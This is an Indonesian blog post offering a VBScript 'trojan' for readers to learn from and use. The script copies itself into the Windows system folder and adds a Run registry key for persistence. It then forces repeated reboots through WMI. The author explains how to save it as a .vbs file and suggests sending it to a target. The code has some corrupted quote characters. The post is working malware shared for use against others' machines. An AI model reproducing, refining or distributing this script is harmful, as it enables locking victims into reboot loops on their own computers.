SCRIPT VIRUS TROJAN

Assalamu'alaikum.
Kali ini ane mau kasih script virus trojan.. =D

Trojan salah satu virus nakal yang kita kenal merusak komputer.
yang mau belajar meracik script virus ini ada satu script trojan brijut; :3
--


set FSobj=CreateObject(“Scripting.FileSystemObject”) set sysDir = FSobj.GetSpecialFolder(1) createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs” sub createRegKey(regKey,regVal) set regEdit = CreateObject(“WScript.Shell”) regEdit.RegWrite regKey,regVal end sub set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”) generateCopy.close set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),”"”") set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2) procreateCopy.write fixedCode procreateCopy.close rebootSystem() function setFile() fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _ “strComputer = ^.^ ” &vbcrlf& _ “Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _ “Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _ “(^Select * from Win32_OperatingSystem^)” &vbcrlf& _ “For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _ “ObjOperatingSystem.Reboot()” &vbcrlf& _ “Next” end function function rebootSystem() strComputer = “.” Set objWMIService = GetObject(“winmgmts:” _ & “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2?) Set colOperatingSystems = objWMIService.ExecQuery _ (“Select * from Win32_OperatingSystem”) For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot() Next end function

---
Jika kita jeli perhatikan script tersebut memuat  Coding script untuk me-reebot komputer.
kalau script tersebut disimpan dengan format .vbs contoh ; "kudaliar.vbs" save
dan jangan lupa pilih all files.
kalau di klik ntu form , ya tanggung sendiri resikonya trhdp PC brsngkutan. =D
atau bs kita kirim ke target..



Dah segitu aja dulu sob..
Kurang lebihnya mohon maaf, berbagi itu berkah,
biar ane dikasih tambahan ilmu oleh Allah.

Alamal insana ma'lam ya'lam.
Wassalamu'alaikum.wr.wb.